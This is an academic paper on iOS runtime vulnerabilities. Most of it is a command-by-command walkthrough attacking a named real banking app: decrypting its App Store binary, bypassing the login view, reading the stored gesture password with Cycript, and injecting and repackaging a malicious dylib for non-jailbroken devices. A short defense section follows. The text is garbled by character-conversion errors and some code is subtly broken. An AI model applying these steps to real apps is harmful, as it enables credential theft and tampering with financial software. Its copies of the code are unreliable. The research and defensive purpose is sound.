周 泊 寧
(上海大學(xué)計(jì)算機(jī)工程與科學(xué)學(xué)院 上海 200444)
iOS系統(tǒng)是蘋(píng)果公司為其移動(dòng)設(shè)備開(kāi)發(fā)的一套基于UNIX的系統(tǒng)。隨著蘋(píng)果設(shè)備在世界范圍內(nèi)的風(fēng)靡,研究人員對(duì)iOS系統(tǒng)的關(guān)注度越來(lái)越高。特別是美國(guó)政府確立蘋(píng)果設(shè)備的越獄行為是合法后,對(duì)iOS系統(tǒng)的漏洞追尋,安全機(jī)制的攻克越發(fā)積極,這對(duì)于iOS系統(tǒng)的安全也提出了前所未有的挑戰(zhàn)。
對(duì)于越獄,即破解iOS系統(tǒng)的可信引導(dǎo)機(jī)制,獲取root操作權(quán)限,已經(jīng)有諸多的研究成果,如凌寧等[1]對(duì)iOS系統(tǒng)的安全機(jī)制、加密系統(tǒng)和保護(hù)分級(jí)機(jī)制的研究,分析iOS設(shè)備在越獄狀態(tài)下存在的漏洞,并通過(guò)實(shí)驗(yàn)破解iOS設(shè)備獲取PIN碼以及各級(jí)密鑰,對(duì)比分析越獄設(shè)備存在的安全性隱患;吳寅鶴[2]在其研究中指出iOS的安全機(jī)制包括信任啟動(dòng)、代碼簽名、沙盒技術(shù)、數(shù)據(jù)保護(hù)等的關(guān)鍵點(diǎn)及薄弱環(huán)節(jié);陸鵬等[3]通過(guò)對(duì)iOS內(nèi)核的研究,介紹了iOS的代碼簽名機(jī)制的實(shí)現(xiàn)原理與運(yùn)行機(jī)制。也有許多學(xué)者對(duì)iOS系統(tǒng)的數(shù)據(jù)安全進(jìn)了研究,如李柏嵐[4]在研究中對(duì)備份數(shù)據(jù)進(jìn)行了分析,指出了其中的安全隱患;蘇芊[5]研究了從iOS設(shè)備閃存芯片上原始數(shù)據(jù)的提取與鑒定工作。誠(chéng)然,這些研究對(duì)改進(jìn)iOS系統(tǒng)的安全性有巨大的推進(jìn)作用,但很少人關(guān)注到iOS系統(tǒng)的Runtime System (運(yùn)行時(shí)系統(tǒng))并對(duì)其進(jìn)行深入的研究。Runtime System作為iOS應(yīng)用程序底層核心實(shí)現(xiàn)系統(tǒng),尚若存在有被可利用的漏洞,定然會(huì)對(duì)在iOS設(shè)備上運(yùn)行的程序造成極大的危害。因此本文旨在對(duì)Runtime System進(jìn)行深入探究,發(fā)掘其中可能存在的漏洞,并提出防護(hù)手段。
iOS應(yīng)用程序是用object-c語(yǔ)言開(kāi)發(fā)的,object-c其實(shí)是對(duì)c語(yǔ)言的一層高級(jí)封裝,使得c語(yǔ)言可以面向?qū)ο?,但它的底層?shí)現(xiàn),依然是c。其次,Objective-C是一門(mén)動(dòng)態(tài)加載語(yǔ)言,它會(huì)將一些工作放在代碼運(yùn)行時(shí)才處理而并非編譯時(shí)。也就是說(shuō),有很多類(lèi)和成員變量在程序編譯的時(shí)候是不知道的,只有在運(yùn)行時(shí),這些類(lèi)和成員變量才會(huì)轉(zhuǎn)換成完整的確定的代碼加載到內(nèi)存中并建立聯(lián)系。
因此,光有編譯器是不夠的,還需要一個(gè)Runtime system來(lái)處理編譯后的代碼。Runtime system是一套底層的C語(yǔ)言API,其為iOS內(nèi)部的核心之一,程序中編寫(xiě)的object-c代碼,在程序運(yùn)行時(shí),最終都被自動(dòng)轉(zhuǎn)譯成了Runtime的c語(yǔ)言代碼。例1是一個(gè)給label對(duì)象的text屬性賦值的例子。
例1:Object-c:[label setText:@”123”];
Runtime: objc_msgSend(“l(fā)abel”,”setText”,”123”);
當(dāng)然,Runtime System的功能不僅僅是翻譯代碼這么簡(jiǎn)單。首先,資源庫(kù)的靈活加載,可以在需要的時(shí)候加載進(jìn)內(nèi)存,不需要的時(shí)候釋放掉,不必一直占用內(nèi)存資源,這對(duì)于硬件資源本來(lái)就非常拮據(jù)的移動(dòng)設(shè)備來(lái)說(shuō)顯得尤為珍貴。其次,可以進(jìn)行熱更新,即在程序運(yùn)行時(shí)更新。還有,當(dāng)程序中存在未實(shí)現(xiàn)的方法時(shí),并不會(huì)導(dǎo)致程序因報(bào)錯(cuò)而無(wú)法運(yùn)行,僅在該方法未實(shí)現(xiàn)卻被調(diào)用時(shí)才會(huì)導(dǎo)致崩潰。由此可見(jiàn),Runtime System給程序帶來(lái)的諸多優(yōu)勢(shì)是不言而喻的。
表1列舉了部分常用的Runtime System庫(kù)API,通過(guò)這些API的簡(jiǎn)單調(diào)用,我們可以實(shí)現(xiàn)一些強(qiáng)大的功能,例如:
(1) 在程序運(yùn)行時(shí),可以動(dòng)態(tài)地創(chuàng)建一個(gè)類(lèi)。
(2) 在程序運(yùn)行時(shí),可以動(dòng)態(tài)地為某個(gè)類(lèi)添加、修改屬性或方法。
表1 runtime library部分常用API列表
然而,Runtime System在提供了強(qiáng)大及便捷的功能同時(shí),也隱含了巨大的安全隱患。試想,能夠在程序運(yùn)行時(shí),便捷地添加修改程序指令,更改指令參數(shù),這對(duì)于攻擊者來(lái)說(shuō)是多么大的誘惑。一旦攻擊者獲取到程序在內(nèi)存中的運(yùn)行時(shí)信息,Runtime System就變成了攻擊者手中的一把利劍,不論攻擊者要程序“執(zhí)行開(kāi)鎖命令”,又或是“改變那個(gè)參數(shù)值”。Runtime System并不會(huì)去考慮這個(gè)指令的調(diào)用是否合法,又或是來(lái)自程序內(nèi)部還是外部,只會(huì)“傻傻地”去執(zhí)行。最終負(fù)責(zé)任地完成攻擊者交代給它所有任務(wù)。
可見(jiàn),在iOS系統(tǒng)多重保護(hù)機(jī)制下運(yùn)行的程序,依然沒(méi)有我們想象中的那么安全。尚有很多安全隱患有待我們?nèi)ソ鉀Q。
ASLR(Address space layout randomization)是一種針對(duì)緩沖區(qū)溢出的安全保護(hù)技術(shù),通過(guò)對(duì)堆、棧、共享庫(kù)映射等線性區(qū)布局的隨機(jī)化,增加攻擊者預(yù)測(cè)目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達(dá)到阻止溢出攻擊的目的。同時(shí),這種內(nèi)存地址隨機(jī)化布局的特性也加大了攻擊者獲取目標(biāo)函數(shù)內(nèi)存地址的難度。
但是,這種難度對(duì)于運(yùn)行時(shí)攻擊者來(lái)說(shuō)太小了,因?yàn)锳SLR存在兩個(gè)方面的局限性:其一程序的基址只在啟動(dòng)時(shí)隨機(jī)分配,也就是說(shuō)攻擊者開(kāi)始部署攻擊是在系統(tǒng)和程序穩(wěn)定運(yùn)行的過(guò)程中,如果這時(shí)攻擊者找到攻擊目標(biāo)函數(shù)的地址話,那么 ASLR 根本起不到作用。其二即便在重啟之后,ASLR 重新分配了地址,但是隨機(jī)化的僅僅是程序基址,程序內(nèi)部相對(duì)地址并不會(huì)改變,一旦程序開(kāi)始運(yùn)行,所有加載的模塊地址都成為固定的,那么利用一些成熟的反編譯工具可輕松檢測(cè)出模塊基址的偏移位置,之后便可輕松地展開(kāi)攻擊。
在后面的篇幅中,我將舉例證實(shí)一名攻擊者是如何破解ASLR并進(jìn)行運(yùn)行時(shí)攻擊的,以及展示如何有效地保護(hù)程序免受攻擊。
運(yùn)行時(shí)攻擊相比其他黑客攻擊手段,具有更大的危險(xiǎn)性與破壞力。它可以避開(kāi)iOS系統(tǒng)所做的多重安全機(jī)制,直接對(duì)目標(biāo)對(duì)象進(jìn)行操作。下面我們將在iOS9.3.3(越獄)系統(tǒng)環(huán)境下以一款金融行業(yè)App(3.0.0.6)為例,利用運(yùn)行時(shí)漏洞,嘗試獲取其中的敏感數(shù)據(jù)及程序控制。
在實(shí)施攻擊之前,我們還需解決兩個(gè)問(wèn)題,首先就是2節(jié)中提到的ASLR技術(shù),如何獲取程序的隨機(jī)地址?幸運(yùn)的是,如果我們仔細(xì)研究程序文件,會(huì)發(fā)現(xiàn)程序的基址、偏移地址都被記錄下來(lái)了。在iOS中,可執(zhí)行文件、動(dòng)態(tài)鏈接庫(kù)、擴(kuò)展文件、核心存儲(chǔ)文件等都使用了一種名為Mach-O的文件格式。它由三部分組成:頭部、加載指令、數(shù)據(jù)段。其中頭部給出了文件的目標(biāo)體系結(jié)構(gòu),如armv7(iphone4、4s采用的架構(gòu))、arm64(iphone5s及之后采用的架構(gòu))。還給出了一些標(biāo)志位與解析文件剩余字段所需的信息。加載指令描述了文件的結(jié)構(gòu),以及文件在加載時(shí)在虛擬內(nèi)存中的布局,還有一些其他信息。數(shù)據(jù)段則包含了實(shí)際代碼以及其他資源數(shù)據(jù)。因此我們使用otool工具就可以很方便地從Mach-O文件的頭部與加載指令中獲取地址信息。
其次,所有從蘋(píng)果商店下載的應(yīng)用都會(huì)被加密,這是一種類(lèi)似于iTunes Music所使用的FairPlay DRM機(jī)制,旨在版權(quán)保護(hù)。若是想要明確地尋找到應(yīng)用程序中的敏感數(shù)據(jù),那就必須先對(duì)應(yīng)用解密。可喜的是,當(dāng)應(yīng)用程序被加載到iOS設(shè)備的內(nèi)存以后,它也必須先被解密,然后才能運(yùn)行。因此我們可以使用一個(gè)調(diào)試器工具(如gdb)將程序解密后的代碼從內(nèi)存中轉(zhuǎn)儲(chǔ)為一個(gè)文件,最后再將未加密的代碼覆蓋掉原程序中的加密塊,這樣就可以獲取到我們所需的未加密程序了。
我們?cè)谧烂鎰?chuàng)建一個(gè)文件夾Test,將從appstore下載的ipa包解壓到該目錄,用file命令查看這個(gè)應(yīng)用程序的體系架構(gòu):
$cd /User/zhouboning/Desktop/Test/Payload/ICBCiPhoneBank.app
$fileICBCiPhoneBank
ICBCiPhoneBank:Mach-O universal binary with 2 architectures
ICBCiPhoneBank (for architecture armv7): Mach-O executable arm
ICBCiPhoneBank (for architecture arm64): Mach-O 64-bit executable
在iphone5s推出之前,程序一般都是兼容armv6與armv7兩種架構(gòu),但之后兼容的都是armv7與arm64兩種架構(gòu)了。使用otool命令獲取架構(gòu)地址信息:
$otool -f ICBCiPhoneBank
Fat headers
fat_magic 0xcafebabe
nfat_arch 2
architecture 0
cputype 12
cpusubtypre 9
capabilities 0x0
offset 16384
size 12261280
align 2^14(16384)
architecture 1
cputype 16777228
cpusubtypre 0
capabilities 0x0
offset 12288000
size 14096944
align 2^14(16384)
上面輸出了兩種架構(gòu)的節(jié)起始地址以及在文件中的偏移值,記下arm64架構(gòu)偏移值(12 288 000)在后面將用上。接著我們用otool命令獲取加密程序的地址信息:
$otool -arch arm64 -l ICBCiPhoneBank | grep ENCRYPTION-A 4
cmd LC_ENCRYPTION_INFO_64
cmdsize 24
cryptoff 16384
cryptsize 11436032
cryptid 1
這里輸出的其實(shí)是一個(gè)LC_ENCRYPTION_INFO_64命令結(jié)構(gòu)體,各參數(shù)的含義。見(jiàn)表2。
表2 LC_ENCRYPTION_INFO_64命令結(jié)構(gòu)體說(shuō)明
這里我們需要記錄的數(shù)據(jù)有cryptoff,cryptsize,cryptid。由此我們可以得出程序在內(nèi)存中的起始地址0x4000(16 384),由于地址空間加載起來(lái)會(huì)有一個(gè)固定偏移值[6]0x1000,故實(shí)際起始地址為0x4000+0x1000=0x5000。結(jié)束地址為0x5000+0xae8000(11 436 032)=0xaed000。在設(shè)備上運(yùn)行應(yīng)用,使用gdb命令導(dǎo)出解密程序:
(gdb) dump memory arm64.bin 0x5000 0xaed000
(gdb) kill
Kill the program being debugged?(y or n) y
(gdb) q
至此我們可以得到一個(gè)名為arm64.bin的文件,里面的數(shù)據(jù)就是我們所需要的程序解密后的代碼。注意,拷貝命令一定要在程序運(yùn)行時(shí)執(zhí)行,否則無(wú)法得到解密的數(shù)據(jù)。然后我們要用解密的arm64.bin文件替換掉原程序文件中的加密程序塊,加密程序塊的起始地址=架構(gòu)偏移值(12 288 000)+加密模塊偏移值(16 384)=12 304 384,通過(guò)dd復(fù)制工具執(zhí)行替換:
$dd seek=12304384 bs=1 conv=notrunc if=./arm64.bin of=./ICBCiPhoneBank
最后,還需將cryptid修改為0,以標(biāo)志該文件未被加密。對(duì)于cryptid的定位,可以根據(jù)LC_ENCRYPTION_INFO_64命令結(jié)構(gòu)體的數(shù)據(jù)特征來(lái)定位,從iphone develop wiki[7]中可以查到LC_ENCRYPTION_INFO_64命令的宏定義是0x2c,命令大小為24字節(jié),即0x18,cryptid位為0x01。由于結(jié)構(gòu)體中每個(gè)數(shù)據(jù)都是32位(見(jiàn)表2),按小端字節(jié)序十六進(jìn)制表示法,LC_ENCRYPTION_INFO_64的數(shù)據(jù)特征應(yīng)該為:0x2c00000018000000……01000000,其中省略號(hào)處即為表示cryptoff與cryptsize的8字節(jié)數(shù)據(jù)。將此處01000000改為00000000即可。修改成功后,用otool命令即可看到如下信息:
$otool-arch arm64-l ICBCiPhoneBank|grep ENCRYPTION-A4
cmd LC_ENCRYPTION_INFO_64
cmdsize 24
cryptoff 16384
cryptsize 11436032
cryptid 0
至此,我們得到了一個(gè)未加密的應(yīng)用程序,之后便可對(duì)其展開(kāi)一系列分析與攻擊。
為了展開(kāi)有效的攻擊,我們需要知道這個(gè)程序中有哪些類(lèi),有什么方法。class_dump_z便是這樣一款命令行工具,它可以檢查存儲(chǔ)在可執(zhí)行文件中的Object-c運(yùn)行時(shí)信息。輸入如下指令:
$class-dump-z ICBCiPhoneBank-H-o /User/zhouboning/Desktop/headers
其中-H表示導(dǎo)出頭文件,-o表示輸出路徑,我們可以在headers文件夾中查看到ICBCiPhoneBank用到的所有頭文件,見(jiàn)圖1??偣灿? 400多個(gè),這里我們僅列出幾個(gè)將要用到的,首先是AppDelegate.h,見(jiàn)圖2。AppDelegate是iOS程序啟動(dòng)時(shí)調(diào)用的第一個(gè)代理類(lèi),在這里可以找到許多有價(jià)值的信息。例如圖2中所示,我們發(fā)現(xiàn)了一個(gè)changeToLoginVC:(Bool)loginVC方法,從方法名直譯不難猜測(cè),這是一個(gè)加載登錄界面的操作,而參數(shù)為布爾類(lèi)型,更容易聯(lián)想true即為加載登錄界面;false即為推出登錄界面。
圖1 部分頭文件列表
圖2 AppDelegate.h內(nèi)容
于是我們可以借助一款Cycript的工具進(jìn)行掛載操作,Cycript是一款成熟的運(yùn)行時(shí)操作工具,可從其官網(wǎng)www.cycript.org下載。安裝成功后,我們先獲取程序的進(jìn)程號(hào),然后將Cycript掛載上它:
$ps aux | grepICBCiPhoneBank
mobile 13 0.9 2.6 368500 13696 ? Ss 09:07PM 4:15.20 /var/mobile/Applications/CE371D48-D390-46E5-903E-65A3F0E07 DAA/ICBC.app/ICBCiPhoneBank
#cycript-p 13
掛載后,我們便可以訪問(wèn)該軟件所有的運(yùn)行時(shí)類(lèi)、變量等。例如獲取AppDelegate類(lèi)對(duì)象:
cy# var delegate=[UIApplicationsharedApplication].delegate
接著我們就可以調(diào)用changeToLoginVC來(lái)驗(yàn)證我們的猜測(cè):
cy# [delegate changeToLoginVC:NO]
果然登錄頁(yè)面如期望一樣消失了。
此外,我們?cè)贏ppDelegate.h中還發(fā)現(xiàn)一個(gè)非常吸引人的名字GesturePasswordViewControllerDelegate,從單詞意思上立馬就能聯(lián)想到這是一個(gè)管理鎖屏手勢(shì)密碼的視圖控制器對(duì)象,于是我們?cè)趆eaders文件夾中搜索,果然有不少與這個(gè)類(lèi)有關(guān)的文件。見(jiàn)圖3。在這里我們重點(diǎn)關(guān)注GesturePasswordViewController.h,見(jiàn)圖4。在這個(gè)類(lèi)中我們發(fā)現(xiàn)了很多敏感屬性,諸如passwdGestureSetting, passwdGestureLogin。雖然不清楚這些屬性的明確含義和區(qū)別,但這并不影響我們獲取手勢(shì)密碼,將它們一起打印出來(lái):
cy# UIApp.keyWindow.subviews[0].delegate
cy# vargp=new Instance(0x2c03a0)
cy# gp.passwdGestureSetting
“12369874”
cy# gp.passwdGestureLogin
“12369874”
圖3 搜索結(jié)果
圖4 GesturePasswordViewController.h內(nèi)容
因?yàn)槲覍?dāng)前頁(yè)面停留在鎖屏頁(yè)面,因此使用subviews[0].delegate就可以獲取GesturePasswordViewController對(duì)象,new Instance(0x2c03a0)則是給該地址指派了一個(gè)變量,擔(dān)當(dāng)對(duì)象指針的角色,繼而可以訪問(wèn)對(duì)象的屬性、方法等。
僅僅是獲取屬性值或修改方法參數(shù),并不足以顯示運(yùn)行時(shí)攻擊的危害,更具有破壞力的則是動(dòng)態(tài)惡意代碼注入。下面我們將用一個(gè)調(diào)用后彈出提示框的方法注入到原程序中替換掉changeToLoginVC:方法,代碼如下:
#include
void attack(){
objc_msgSend(objc_msgSend(objc_msgSend(objc_getClass(″UIAlertView″), sel_registerName(″alloc″)),
sel_registerName(″initWithTitle:message:delegate:cancelButtonTitle:otherButtonTitles:″),
@″提示″,@″你已經(jīng)被攻擊了″,nil,@″確定″,nil),
sel_registerName(″show″));
}
這段代碼創(chuàng)建了一個(gè)UIAlertView并顯示到當(dāng)前頁(yè)面上。接著將代碼打包成動(dòng)態(tài)庫(kù)attack.dylib。然后以調(diào)試模式運(yùn)行ICBCiPhoneBank,并在main函數(shù)上添加一個(gè)斷點(diǎn):
# gdb -f ICBCiPhoneBank
(gdb) b main
Breakpoint 1 at 0x2eec
(gdb) run
程序會(huì)在main函數(shù)處中斷,而我們要做的便是獲取到changeToLoginVC:方法的內(nèi)存地址:
Breakpoint 1, 0x00002eec in main()
(gdb) call (void *)objc_getClass(“AppDelegate”)
$1=(void *)0x30cc
(gdb) call (void *)sel_registerName(“changeToLoginVC:”)
$2=(void *)0x2fba
(gdb) call (void *)class_getMethodImplementation($1,$2)
$3=(void *)0x2e9c
接著將attack.dylib加載到內(nèi)存中,并獲取其內(nèi)存地址:
(gdb) call (void *)dlopen(“attack.dylib”,2)
$4=(void *)0x115a50
(gdb) call (int *)dlsym($4,”attack”)
$5=(int *)0x43f88
最后,用class_replaceMethod進(jìn)行方法替換:
(gdb) call (void *)class_replaceMethod($1,$3,$5,””)
$6=(void *)0x2e9c
(gdb) continue
運(yùn)行后點(diǎn)擊“在此登錄”可以看見(jiàn),在本應(yīng)加載登錄頁(yè)面的地方,沒(méi)有出現(xiàn)登錄頁(yè)面,而是彈出了我們創(chuàng)建的提示框,見(jiàn)圖5。
圖5 動(dòng)態(tài)注入運(yùn)行結(jié)果
至此,我們?cè)趇OS9下成功地完成了一系列由淺入深的攻擊操作。然而眾所周知,iOS系統(tǒng)的更新非常迅速與頻繁,以此應(yīng)對(duì)各種越獄工具及披露的安全漏洞。因此本文也針對(duì)iOS三個(gè)不同版本的越獄與未越獄系統(tǒng)分別進(jìn)行實(shí)驗(yàn),以更加深入地分析iOS系統(tǒng)的運(yùn)行時(shí)安全特性。
要使越獄環(huán)境下的攻擊代碼在非越獄環(huán)境下也產(chǎn)生效用,就需要將攻擊代碼打包的動(dòng)態(tài)庫(kù)掛載到應(yīng)用中,使應(yīng)用啟動(dòng)時(shí)自動(dòng)運(yùn)行攻擊代碼。過(guò)程主要分為三步:自注入、掛載、重簽名。
(1) 自注入是指在惡意代碼中添加一段自動(dòng)搜索函數(shù),并執(zhí)行函數(shù)替換的代碼,以實(shí)現(xiàn)上文中我們利用gdb調(diào)試器所做的操作,代碼如下:
static void __attribute__((constructor)) initialize(void){
class_replaceMethod(objc_getClass(“AppDelegate”),
sel_registerName(“changeToLoginVC:”),
attack,””)
}
這段代碼中值得注意的便是__attribute__((constructor))關(guān)鍵字,該關(guān)鍵字所指定的方法會(huì)在main()函數(shù)之前執(zhí)行,從而實(shí)現(xiàn)自動(dòng)替換。
(2) 掛載則是指在應(yīng)用啟動(dòng)時(shí),自動(dòng)加載我們的動(dòng)態(tài)庫(kù),這可以通過(guò)修改mach-o文件的加載指令來(lái)實(shí)現(xiàn),而借用yololib工具亦可自動(dòng)完成加載指令的修改工作。掛載完成后用otool過(guò)濾查詢(xún)可見(jiàn)掛載成功的結(jié)果,見(jiàn)圖6。
圖6 動(dòng)態(tài)庫(kù)掛載與加載指令查詢(xún)結(jié)果
(3) 重簽名:由于我們修改了mach-o文件,因此需要對(duì)應(yīng)用文件重新簽名,才能讓其通過(guò)簽名驗(yàn)證,運(yùn)行在未越獄的系統(tǒng)上。得力于越獄技術(shù)的迅猛發(fā)展,如今成熟的重簽名工具非常多,如iReSign、UtSign等,都能快速簡(jiǎn)單地實(shí)現(xiàn)簽名。
最后將添加了攻擊代碼的應(yīng)用程序安裝到設(shè)備上即可。各系統(tǒng)環(huán)境下實(shí)驗(yàn)結(jié)果見(jiàn)表3。
表3 iOS各系統(tǒng)版本實(shí)驗(yàn)結(jié)果
本次實(shí)驗(yàn)所用系統(tǒng)均來(lái)自威鋒網(wǎng)[9]的iOS固件中心,至本文撰寫(xiě)期間,尚未有iOS10以上版本的越獄固件。從實(shí)驗(yàn)結(jié)果可以看出,雖然在未越獄設(shè)備上不能使用Cycript等分析工具,但通過(guò)一臺(tái)越獄設(shè)備對(duì)App應(yīng)用進(jìn)行分析,然后將完整的攻擊代碼移植到相應(yīng)的未越獄系統(tǒng)環(huán)境下,依然可以完成攻擊。但是這種打包好的攻擊代碼在系統(tǒng)環(huán)境發(fā)生變化,如系統(tǒng)版本或App版本更新,影響到攻擊代碼的執(zhí)行時(shí),便會(huì)使攻擊失效。
從上文可以看到,對(duì)于一些缺乏安全防護(hù)的應(yīng)用程序,就算是入門(mén)級(jí)的黑客也可以借助成熟工具利用運(yùn)行時(shí)漏洞進(jìn)行破壞。但同時(shí)我們也發(fā)現(xiàn),攻擊者所依賴(lài)的工具或是條件越多,說(shuō)明我們就越容易對(duì)程序做一些對(duì)應(yīng)的修改以起到防護(hù)作用。例如上面的攻擊都依賴(lài)于我們從敏感詞匯中找到的線索,還有調(diào)試器程序等的使用。針對(duì)這些,可以總結(jié)出以下幾點(diǎn)防護(hù)措施。
很多時(shí)候,為了提高用戶的產(chǎn)品體驗(yàn),我們會(huì)在程序內(nèi)存儲(chǔ)一些持久化數(shù)據(jù),如session值、用戶名等。建議將這些數(shù)據(jù)加入iOS的keychain,keychain是iOS提供給開(kāi)發(fā)者存儲(chǔ)敏感數(shù)據(jù)的機(jī)制,加入其中的數(shù)據(jù)便能夠受到iOS系統(tǒng)的加密保護(hù),由此可以大大增加被竊取的難度。
此外,如一些用戶輸入性質(zhì)的敏感數(shù)據(jù),如密碼、卡號(hào)等。單靠加入keychain是無(wú)法做到完善保護(hù)的,因?yàn)楹苡锌赡茉诮o變量賦值后,加入keychain前,就被攻擊者以獲取屬性值的手段竊取了。因此建議在給密碼等敏感數(shù)據(jù)的變量賦值之前,就對(duì)數(shù)據(jù)進(jìn)行加密。特別是一些全局變量,會(huì)在內(nèi)存中長(zhǎng)時(shí)間保存,更是需要進(jìn)行先加密再賦值。而類(lèi)似一些登錄密碼的信息,就應(yīng)該在登錄完后及時(shí)的安全擦除[8]以避免不必要危險(xiǎn)。
針對(duì)攻擊者會(huì)依賴(lài)程序的方法名及屬性名中的敏感詞匯來(lái)順藤摸瓜,我們可以采用混淆代碼的辦法,即用一串隨機(jī)字符串替換掉具有明確意義的方法名和屬性名,讓攻擊者找不到線索,由此阻礙其攻擊。又或是我們可以創(chuàng)建一個(gè)陷阱方法,將它的名字命為password等非常甜蜜的詞匯,但在方法中執(zhí)行一些數(shù)據(jù)清除、禁用程序功能等操作,在攻擊者自認(rèn)為得手的時(shí)候,安全地銷(xiāo)毀了我們數(shù)據(jù)。
但是這兩種辦法尚有一定的局限性,首先iOS的開(kāi)發(fā)工具尚沒(méi)有支持全面的代碼混淆,因此程序員只能混淆自定義的對(duì)象、方法,卻不能混淆系統(tǒng)庫(kù)中聲明的對(duì)象、方法。其次,陷阱的辦法也僅能成功一次,上過(guò)當(dāng)?shù)墓粽呔筒粫?huì)再去踩陷阱,倘若攻擊者備份了程序,那陷阱也就失效了。
針對(duì)攻擊者在攻擊過(guò)程中會(huì)多次用到調(diào)試器,因此我們可以在main函數(shù)中加入調(diào)試器檢測(cè)代碼,若發(fā)現(xiàn)程序正在被調(diào)試,則立刻停止執(zhí)行程序。在main.m中加入如下代碼:
#include
#define DEBUGGER_CHECK {
size_t size=sizeof(structkinfo_proc);
structkinfo_proc info;
intret,name[4];
memset(&info,0,sizeof(structkinfo_proc));
name[0]=CTL_KERN;
name[1]=KERN_PROC;
name[2]=KERN_PROC_PID;
name[3]=getpid();
if (ret=(sysctl(name,4,&info,&size,NULL,0))){
exit(EXIT_FAILURE);
}
if(info.kp_proc.p_flag& 0x00000800){
NSLog(@″檢測(cè)到在調(diào)試中,,,p_flag:%0x″,info.kp_proc.p_flag);
}
}
然后我們寫(xiě)一個(gè)demo,在main()方法中的第一行調(diào)用這個(gè)宏命令,然后在iOS模擬器上運(yùn)行demo,可以在調(diào)試輸出窗口看到輸出,如圖7所示。將log語(yǔ)句換成其他銷(xiāo)毀數(shù)據(jù)或是退出程序的語(yǔ)句,便可有效阻擋攻擊者的腳步。
圖7 調(diào)試器檢測(cè)輸出結(jié)果
本文首先對(duì)iOS Runtime System進(jìn)行了深入分析,闡述了運(yùn)行時(shí)環(huán)境下的漏洞。其次采用實(shí)例驗(yàn)證的方法,利用其漏洞對(duì)一款應(yīng)用程序分別采取了由淺及深的攻擊實(shí)驗(yàn)。實(shí)驗(yàn)驗(yàn)證了本文所闡述的漏洞的確是可以被攻擊者利用的,對(duì)應(yīng)用程序的安全具有極大的危險(xiǎn)性。最后針對(duì)本文所采用的攻擊方法,分別提出相應(yīng)的防范措施,以期最大程度的阻擋攻擊者。
然而,矛與盾的較量是不會(huì)停止的,隨著iOS系統(tǒng)的被關(guān)注層度越來(lái)越高,技術(shù)人員對(duì)其的研究也更加熱誠(chéng),逐年披露的iOS系統(tǒng)漏洞也越來(lái)越多。當(dāng)然iOS系統(tǒng)也正在這種被覬覦中不斷完善、不斷進(jìn)步。
[1] 凌寧,張文,牛少彰.基于iOS系統(tǒng)的安全性研究[J].中國(guó)電子商情·通信市場(chǎng),2013(4):91-95.
[2] 吳寅鶴.ios平臺(tái)應(yīng)用程序的安全性研究[D].廣東工業(yè)大學(xué),2014.
[3] 路鵬,方勇,方昉,等.iOS系統(tǒng)代碼簽名機(jī)制研究[J].信息安全與通信保密,2013(5):85-86.
[4] 李柏嵐.ios平臺(tái)的軟件安全性分析[D].上海交通大學(xué),2011.
[5] 蘇芊.ios終端數(shù)字取證研究[D].上海交通大學(xué),2013.
[6] Zdziarski J.Hacking and Securing iOSApplications[M].O’Reilly Media,2012:166-167.
[7] iphone develop wiki[OL].2014-07-09.http://iphonedevwiki.net/index.php/Crack_prevention.
[8] 劉鵬飛.ios程序的攻擊手段分析及防護(hù)[D].電子科技大學(xué),2014.
[9] 威鋒網(wǎng)[OL].2017-03-04.http://act.feng.com/wetools/index.php?r=iosRom/index.